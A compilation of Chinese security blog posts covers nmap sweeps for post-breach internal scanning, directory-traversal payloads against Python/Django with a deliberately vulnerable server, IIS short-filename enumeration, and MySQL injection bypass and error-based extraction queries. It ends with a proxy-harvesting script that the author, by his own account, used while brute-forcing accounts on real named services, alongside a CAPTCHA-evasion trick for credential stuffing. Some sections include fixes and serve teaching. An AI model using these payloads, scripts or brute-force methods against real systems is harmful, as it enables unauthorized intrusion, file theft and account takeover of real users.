nmap小技巧[1] 探测大网络空间中的存活主机

nmap是所有安全爱好者应该熟练掌握的扫描工具,本篇介绍其在扫描大网络空间时的用法。

为什么要扫描大网络空间呢? 有这样的情形:

  1. 内网渗透   攻击者单点突破,进入内网后,需进一步扩大成果,可以先扫描整个私有网络空间,发现哪些主机是有利用价值的,例如10.1.1.1/8, 172.16.1.1/12, 192.168.1.1/16
  2. 全网扫描

扫描一个巨大的网络空间,我们最关心的是效率问题,即时间成本。 在足够迅速的前提下,宁可牺牲掉一些准确性。

扫描的基本思路是高并发地ping:

nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml www.lijiejie.com/16

-sn    不扫描端口,只ping主机

-PE   通过ICMP echo判定主机是否存活

-n     不反向解析IP地址到域名

–min-hostgroup 1024    最小分组设置为1024个IP地址,当IP太多时,nmap需要分组,然后串行扫描

–min-parallelism 1024  这个参数非常关键,为了充分利用系统和网络资源,我们将探针的数目限定最小为1024

-oX nmap_output.xml    将结果以XML格式输出,文件名为nmap_output.xml

一旦扫描结束,解析XML文档即可得到哪些IP地址是存活的。

我测试扫描www.lijiejie.com/16这B段,65535个IP地址(存活10156),耗时112.03秒,如下图所示:

nmap_scan_large_networks

提示: 并发探针的数目可以根据自己的网络状况调整。

python和django的目录遍历漏洞(任意文件读取)

近来我和同事观察到wooyun平台上较多地出现了“任意文件读取漏洞”,类似:

Wooyun:优酷系列服务器文件读取

攻击者通过请求

http://220.181.185.228/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1

或类似URL,可跨目录读取系统敏感文件。 显然,这个漏洞是因为WebServer处理URL不当引入的。

我们感兴趣的是,这到底是不是一个通用WebServer的漏洞。

经分析验证,我们初步得出,这主要是由于开发人员在python代码中不安全地使用open函数引起,而且低版本的django自身也存在漏洞。

1. 什么是目录遍历漏洞

“目录遍历漏洞”的英文名称是Directory Traversal 或 Path Traversal。指攻击者通过在URL或参数中构造

  • ../
  • ..%2F
  •  /%c0%ae%c0%ae/
  • %2e%2e%2f

或类似的跨父目录字符串,完成目录跳转,读取操作系统各个目录下的敏感文件。很多时候,我们也把它称作“任意文件读取漏洞”。

2. Python和Django的目录遍历漏洞

历史上python和django曾爆出多个目录遍历漏洞,例如:

  1. CVE-2009-2659  Django directory traversal flaw
  2. CVE-2013-4315   python-django: directory traversal with “ssi” template tag
  3. Python CGIHTTPServer File Disclosure and Potential Code Execution

内置的模块和Django模板标签,均受过影响。程序员稍不谨慎,就可能写下有漏洞的代码。

3. 漏洞代码示例

为了演示漏洞的原理,我们写了一段存在明显漏洞的代码:

# -*- coding: utf-8 -*-
import sys
import SocketServer
import BaseHTTPServer
import threading
import time
import exceptions
import os


class MyHttpRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        if os.path.isfile(self.path):
            file = open(self.path)
            self.wfile.write(file.read())
            file.close()
        else:
            self.wfile.write('hello world')

        
class ThreadedHttpServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    __httpd = None

    @staticmethod
    def get():
        if not ThreadedHttpServer.__httpd:
            ThreadedHttpServer.__httpd = ThreadedHttpServer(('0.0.0.0', 80), MyHttpRequestHandler)
        return ThreadedHttpServer.__httpd


def main():
    try:
        httpd = ThreadedHttpServer.get()
        httpd.serve_forever()
    except exceptions.KeyboardInterrupt:
        httpd.shutdown()
    except Exception as e:
        print e


if __name__ == '__main__':
    main()

在处理GET请求时,我直接取path,然后使用open函数打开path对应的静态文件,并HTTP响应文件的内容。这里出现了一个明显的目录遍历漏洞,对path未做任何判断和过滤。

当我请求http://localhost/etc/passwd时,self.path对应的值是/etc/passwd,而open(‘/etc/passwd’),自然可以读取到passwd文件。

python_directory_traversal

那攻击者为什么要构造/../../../../../../etc/passwd呢? 这是为了防止程序过滤或丢失最左侧的/符号,让起始目录变成脚本当前所在的目录。攻击者使用多个..符号,不断向上跳转,最终到达根/,而根/的父目录就是自己,因此使用再多的..都无差别,最终停留在根/的位置,如此,便可通过绝对路径去读取任意文件。

python_directory_traversal_2

 

4. 漏洞扫描

该漏洞扫描有多种扫描方法,可使用nmap的http-passwd脚本扫描(http://nmap.org/nsedoc/scripts/http-passwd.html),用法:

nmap –script http-passwd –script-args http-passwd.root=/test/ IP地址

nmap-scan-python-directory-traversal

还可以写几行python脚本,检查HTTP响应中是否存在关键字,只需几行代码,主要是:

import httplib
conn = httplib.HTTPConnection(host, timeout=20)
conn.request('GET', '/../../../../../../../../../etc/passwd')
html_doc = conn.getresponse().read()

还发现一些小伙伴通过curl来检查主机是否存在漏洞,确实也很方便:

curl http://localhost/../../../../../../../etc/passwd

5. 漏洞修复

针对低版本的django和python引入的目录遍历,可选择升级python和django。

若是开发自行处理URL不当引入,则可过滤self.path,递归地过滤掉”..“,并限定号base_dir。 当发现URL中存在..,可直接响应403。

IIS短文件名暴力猜解漏洞分析

昨天写了个“IIS短文件名暴力猜解漏洞”的利用脚本(比网上传播的那个Java POC能猜解出更多文件和文件夹)。 在此,把漏洞做个简单的分析和总计。

1. 漏洞的成因

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。

在Windows下查看对应的短文件名,可以使用命令dir /x。

比如,我在D盘下创建了一个名为aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html文件:

D:\>dir /x
 驱动器 D 中的卷是 Data
 卷的序列号是 3EDF-2E00

 D:\ 的目录

2014/10/11  13:08       256,515,706              2014101.sql
2014/10/13  17:01                 0 AAAAAA~1.HTM aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
.html
               2 个文件    256,515,706 字节
               0 个目录 107,017,154,560 可用字节

观察命令结果,可以看到,其对应的短文件名 AAAAAA~1.HTM。该短文件名有以下特征:

  1. 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
  2. 后缀名最长只有3位,多余的被截断。

我们可以在启用.net的IIS下暴力列举短文件名,原因是:

  1. 访问构造的某个存在的短文件名,会返回404
  2. 访问构造的某个不存在的短文件名,会返回400

2. 漏洞的利用

漏洞的利用,需要使用到通配符*。在windows中,*可以匹配n个字符,n可以为0. 判断某站点是否存在IIS短文件名暴力破解,构造payload,分别访问如下两个URL:

1. http://www.target.com/*~1****/a.aspx

2. http://www.target.com/l1j1e*~1****/a.aspx

iis_shortname_enum_404   404

iis_shortname_enum_400    400

这里我使用了4个星号,主要是为了程序自动化猜解,逐个猜解后缀名中的3个字符,实际上,一个星号与4个星号没有任何区别(上面已经提到,*号可以匹配空)。

如果访问第一个URL,返回404。

而访问第二个URL,返回400。 则目标站点存在漏洞。

判断漏洞存在后,继续猜解目录下是否存在一个a开头的文件或文件夹,访问:

http://www.target.com/a*~1****/a.aspx

如果存在,将返回404。 如此反复,不断向下猜解完所有的6个字符。

猜解完之后,得到的序列应该类似:

http://www.target.com/abcdef*~1****/a.aspx

到了这一步,需要考虑两种情况,如果以abcdef开头的是一个文件夹,则

http://www.target.com/abcdef*~1/a.aspx

将返回404.

如果abcdef开头的是一个文件,则自动提交

http://www.target.com/abcdef*~1*g**/a.aspx

用a-z的26个字母替换上述g的位置,应该能得到多个404页面。(记住一点,404代表的是存在。)如果下面的地址返回404,

http://www.target.com/abcde*~1*g**/a.aspx

则代表扩展名中肯定存在g。

按照上面的思路,继续猜解g后面的字符,直到后缀名中的3个字符都猜解完,就可以了。

以上介绍了怎么手工猜解,这个漏洞的意义何在:

  1. 猜解后台地址
  2. 猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等。
  3. 在某些情形下,甚至可以通过短文件名web直接下载对应的文件。比如下载备份SQL文件。

3.漏洞的局限性

这个漏洞的局限有几点:

1) 只能猜解前六位,以及扩展名的前3位。

2) 名称较短的文件是没有相应的短文件名的。

3)需要IIS和.net两个条件都满足。

4. 漏洞的修复

1) 升级.net framework

2) 修改注册表键值:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

修改NtfsDisable8dot3NameCreation为1。

3) 将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www

如果不重新复制,已经存在的短文件名则是不会消失的。

本文参考链接:

http://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/

http://www.freebuf.com/articles/4908.html

http://support2.microsoft.com/kb/121007

MySQL注射的过滤绕过技巧[1]

SQL注射的绕过技巧较多,此文仅做一些简单的总结。

前文已经提到,最好利用的注射点:

  1.  支持Union
  2.  可报错
  3. 支持多行执行、可执行系统命令、可HTTP Request等额外有利条件

若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。

1. 通过greatest函数绕过不能使用大小于符号的情况

猜解单个字符时,通常使用折半查找。

mysql> select ascii(mid(user(),1,1)) < 150;
+------------------------------+
| ascii(mid(user(),1,1)) < 150 |
+------------------------------+
|                            1 |
+------------------------------+

以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。

比如,对于一个boolean based注入。尝试:

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150

上述两个页面返回的内容应该是不同的。

但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。

此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。

当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+

如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。

通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:

ascii(mid(user(),1,1))=150

绕过的方法是使用from x for y。语法类似:

mid(user() from 1 for 1)
或
substr(user() from 1 for 1)

以上同样是从第一个字符开始,取一位字符。

那么,不带逗号注入的语法,就可以变成:

mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+

是不是跟mid函数的效果是一样的,又没有用到逗号。

经典的MySQL Duplicate entry报错注入

SQL注射取数据的方式有多种:

  1. 利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者能够构造闭合的查询。
  2.  Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。当然,HTTP服务器对URL的长度有一定限制,因此每次可返回的数据量不可过多。
  3.  基于错误消息取数据,前提是页面能够响应详细的错误描述。它的一个优点是,我们可能不必太费力去猜测和闭合SQL(可以构造子查询,让MySQL在子查询中报错)。
  4.  盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。

本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的这条SQL将报错: Duplicate entry ‘1’ for key ‘group_key’

如下图

mysql_error_1

1. 为什么MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装之后就创建好了,所有账号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual类似。

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat连接到floor()函数的前后即可。

例如,下面的语句用于获取MySQL Server版本,构造:

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’

通过报错,即可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具通常会在目标数据前后做类似的标记,方便程序提取。

加上标记,也可以方便攻击者在大的页面中搜索。

3. 为何这条语句会报错?

rand(0)是把0作为生成随机数的种子。首先明确一点,无论查询多少次,无论在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的

mysql> select rand(0)*2 x from information_schema.character_sets;
+---------------------+
| x                   |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
|  1.3087464173405863 |
| 0.03823849376126984 |
|  0.2649532782518801 |
|   1.210050971442881 |
|  1.2553950839260548 |
|  0.6468225667689206 |
|  1.4679276435337287 |
|  1.3991705788291717 |
|  0.5920700250119623 |
+---------------------+

应用floor函数(取浮点数的整数部分)后,结果变成了:

mysql> select floor(rand(0)*2) x from information_schema.character_sets;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
39 rows in set (0.00 sec)

可以看到,第二行和第三行的值都是1。这也是最终引起MySQL报错Duplicate entry的地方。

实际上,我们分开执行下面的两种查询,都是不会出错的:

a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,得到:

+---+
| x |
+---+
| 0 |
| 1 |
+---+

b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

得到information_schema.character_sets总共有39行:

+----------+---+
| count(*) | x |
+----------+---+
|       39 | 0 |
+----------+---+
1 row in set (0.00 sec)

请注意,这里x的值出现的是0。

c) 将上述语句结合后即报错

select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

我们预期的结果, 其实是:

+----------+---+
| count(*) | x |
+----------+---+
|       18 | 0 |
+----------+---+
|       11 | 1 |
+----------+---+
2 row in set (0.00 sec)

然而MySQL在内部处理中间结果的时候,出现了意外,导致报错。

参考链接: SQL Injection attack – What does this do?

批量获取及验证HTTP代理Python脚本

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
    html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
    soup = BeautifulSoup(html_doc)
    trs = soup.find('table', id='ip_list').find_all('tr')
    for tr in trs[1:]:
        tds = tr.find_all('td')
        ip = tds[1].text.strip()
        port = tds[2].text.strip()
        protocol = tds[5].text.strip()
        if protocol == 'HTTP' or protocol == 'HTTPS':
            of.write('%s=%s:%s\n' % (protocol, ip, port) )
            print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
    while True:
        lock.acquire()
        line = inFile.readline().strip()
        lock.release()
        if len(line) == 0: break
        protocol, proxy = line.split('=')
        headers = {'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': ''}
        try:
            conn = httplib.HTTPConnection(proxy, timeout=3.0)
            conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
            res = conn.getresponse()
            ret_headers = str( res.getheaders() ) 
            html_doc = res.read().decode('utf-8')
            print html_doc.encode('gbk')
            if ret_headers.find(u'/m/account/login/') > 0:
                lock.acquire()
                print 'add proxy', proxy
                outFile.write(proxy + '\n')
                lock.release()
            else:
                print '.',
        except Exception, e:
            print e

all_thread = []
for i in range(50):
    t = threading.Thread(target=test)
    all_thread.append(t)
    t.start()
    
for t in all_thread:
    t.join()

inFile.close()
outFile.close()